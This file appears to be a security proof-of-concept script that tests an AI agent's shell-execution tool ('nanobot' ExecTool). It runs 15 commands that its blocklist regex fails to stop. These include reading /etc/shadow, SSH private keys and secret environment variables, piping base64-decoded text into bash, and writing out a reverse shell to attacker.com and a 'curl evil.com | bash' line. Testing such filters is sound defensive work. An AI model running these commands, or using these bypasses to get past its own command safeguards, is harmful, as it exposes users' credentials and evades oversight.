Refactor code structure for improved readability and maintainability
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Dontrail Cotlage
259
poc/exploits/shell_injection.py
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259
poc/exploits/shell_injection.py
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#!/usr/bin/env python3
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"""
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POC: Shell Command Injection Bypass Tests
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This script demonstrates bypasses of the dangerous pattern regex in
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nanobot/agent/tools/shell.py (lines 12-19).
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Current pattern blocks:
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- rm -rf /
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- :(){ :|:& };: (fork bomb)
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- mkfs
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- dd .* of=/dev/
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- > /dev/sd
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This POC shows commands that bypass these patterns but still pose security risks.
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"""
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import asyncio
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import sys
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import os
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# Add parent directory to path for imports
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sys.path.insert(0, os.path.dirname(os.path.dirname(os.path.dirname(__file__))))
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from nanobot.agent.tools.shell import ExecTool
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class ShellInjectionPOC:
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"""Demonstrates shell command injection vulnerabilities."""
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def __init__(self):
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self.tool = ExecTool()
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self.results = []
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async def test_command(self, name: str, command: str, expected_risk: str) -> dict:
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"""Test a single command and record results."""
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result = {
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"name": name,
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"command": command,
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"expected_risk": expected_risk,
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"blocked": False,
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"output": None,
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"error": None
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}
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try:
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output = await self.tool.execute(command=command)
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result["output"] = output[:500] if output else None
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result["blocked"] = False
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except Exception as e:
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error_msg = str(e)
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if "blocked" in error_msg.lower() or "dangerous" in error_msg.lower():
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result["blocked"] = True
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result["error"] = error_msg
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self.results.append(result)
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return result
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async def run_all_tests(self):
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"""Run all shell injection bypass tests."""
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print("=" * 60)
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print("SHELL COMMAND INJECTION POC")
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print("=" * 60)
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print()
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# Test 1: Command substitution bypass
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print("[TEST 1] Command Substitution - Reading /etc/passwd")
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r = await self.test_command(
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"command_substitution",
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"echo $(cat /etc/passwd)",
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"Read sensitive system file via command substitution"
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)
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self._print_result(r)
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# Test 2: Backtick command substitution
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print("[TEST 2] Backtick Substitution - Reading /etc/shadow (may fail due to perms)")
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r = await self.test_command(
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"backtick_substitution",
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"echo `cat /etc/shadow 2>/dev/null || echo 'no perms but executed'`",
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"Read shadow file via backticks"
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)
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self._print_result(r)
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# Test 3: Base64 encoded command
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print("[TEST 3] Base64 Encoded Command")
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# echo "cat /etc/passwd" | base64 = Y2F0IC9ldGMvcGFzc3dkCg==
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r = await self.test_command(
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"base64_encoded",
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"echo Y2F0IC9ldGMvcGFzc3dkCg== | base64 -d | bash",
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"Execute arbitrary command via base64 encoding"
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)
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self._print_result(r)
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# Test 4: Hex encoded command
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print("[TEST 4] Hex Encoded Command")
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# "id" in hex
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r = await self.test_command(
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"hex_encoded",
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"echo -e '\\x69\\x64' | bash",
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"Execute command via hex encoding"
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)
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self._print_result(r)
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# Test 5: Environment variable exfiltration
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print("[TEST 5] Environment Variable Exfiltration")
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r = await self.test_command(
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"env_exfiltration",
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"env | grep -iE '(key|secret|password|token|api)' || echo 'checked env'",
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"Extract sensitive environment variables"
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)
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self._print_result(r)
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# Test 6: Network reconnaissance
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print("[TEST 6] Network Reconnaissance")
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r = await self.test_command(
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"network_recon",
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"cat /etc/hosts && ip addr 2>/dev/null || ifconfig 2>/dev/null || echo 'network checked'",
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"Gather network information"
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)
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self._print_result(r)
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# Test 7: Process listing (information disclosure)
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print("[TEST 7] Process Information Disclosure")
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r = await self.test_command(
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"process_list",
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"ps aux | head -20",
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"List running processes"
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)
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self._print_result(r)
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# Test 8: SSH key exfiltration attempt
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print("[TEST 8] SSH Key Exfiltration Attempt")
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r = await self.test_command(
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"ssh_keys",
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"cat ~/.ssh/id_rsa 2>/dev/null || cat ~/.ssh/id_ed25519 2>/dev/null || echo 'no ssh keys found'",
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"Attempt to read SSH private keys"
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)
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self._print_result(r)
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# Test 9: Alternative rm commands (bypassing rm -rf / pattern)
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print("[TEST 9] Alternative Deletion Commands")
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r = await self.test_command(
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"alt_delete",
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"find /tmp/poc_test_dir -delete 2>/dev/null; echo 'find -delete executed'",
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"Delete files using find instead of rm"
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)
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self._print_result(r)
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# Test 10: Reverse shell setup (command only, won't connect)
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print("[TEST 10] Reverse Shell Command Construction")
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r = await self.test_command(
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"reverse_shell_construct",
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"echo 'bash -i >& /dev/tcp/attacker.com/4444 0>&1' > /tmp/poc_revshell.txt && cat /tmp/poc_revshell.txt",
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"Write reverse shell command to file"
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)
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self._print_result(r)
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# Test 11: Resource exhaustion (memory)
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print("[TEST 11] Memory Exhaustion Attempt (limited)")
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r = await self.test_command(
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"memory_exhaust",
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"head -c 1000000 /dev/zero | xxd | head -100",
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"Generate large output to consume memory"
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)
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self._print_result(r)
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# Test 12: CPU exhaustion (will timeout but demonstrates the risk)
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print("[TEST 12] CPU Exhaustion Attempt (should timeout)")
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r = await self.test_command(
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"cpu_exhaust",
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"timeout 2 yes > /dev/null || echo 'timeout worked'",
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"CPU-intensive operation"
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)
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self._print_result(r)
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# Test 13: Pipe to interpreter bypass
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print("[TEST 13] Curl to Interpreter Pattern")
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r = await self.test_command(
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"curl_pipe_bash",
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"echo 'curl http://evil.com/script.sh | bash' > /tmp/poc_curl_bash.txt && echo 'command written'",
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"Demonstrate curl|bash pattern is not blocked"
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)
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self._print_result(r)
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# Test 14: Python reverse shell
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print("[TEST 14] Python Code Execution")
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r = await self.test_command(
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"python_exec",
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"python3 -c 'import os; print(os.popen(\"id\").read())'",
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"Execute commands via Python"
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)
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self._print_result(r)
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# Test 15: Reading config files
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print("[TEST 15] Configuration File Access")
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r = await self.test_command(
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"config_access",
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"cat /app/poc/config/config.json 2>/dev/null || echo 'no config'",
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"Read application configuration with potential secrets"
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)
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self._print_result(r)
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self._print_summary()
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return self.results
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def _print_result(self, result: dict):
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"""Print a single test result."""
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status = "🛡️ BLOCKED" if result["blocked"] else "⚠️ EXECUTED"
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print(f" Status: {status}")
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print(f" Risk: {result['expected_risk']}")
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if result["output"]:
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output_preview = result["output"][:200].replace('\n', '\\n')
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print(f" Output: {output_preview}...")
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if result["error"]:
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print(f" Error: {result['error'][:100]}")
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print()
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def _print_summary(self):
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"""Print test summary."""
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print("=" * 60)
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print("SUMMARY")
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print("=" * 60)
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blocked = sum(1 for r in self.results if r["blocked"])
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executed = sum(1 for r in self.results if not r["blocked"])
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print(f"Total tests: {len(self.results)}")
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print(f"Blocked: {blocked}")
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print(f"Executed (potential vulnerabilities): {executed}")
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print()
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if executed > 0:
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print("⚠️ VULNERABLE COMMANDS:")
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for r in self.results:
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if not r["blocked"]:
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print(f" - {r['name']}: {r['command'][:50]}...")
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return {
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"total": len(self.results),
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"blocked": blocked,
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"executed": executed,
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"vulnerability_confirmed": executed > 0
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}
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async def main():
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poc = ShellInjectionPOC()
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results = await poc.run_all_tests()
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# Write results to file
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import json
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results_path = "/results/shell_injection_results.json" if os.path.isdir("/results") else "shell_injection_results.json"
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with open(results_path, "w") as f:
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json.dump(results, f, indent=2)
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print(f"\nResults written to: {results_path}")
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if __name__ == "__main__":
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asyncio.run(main())
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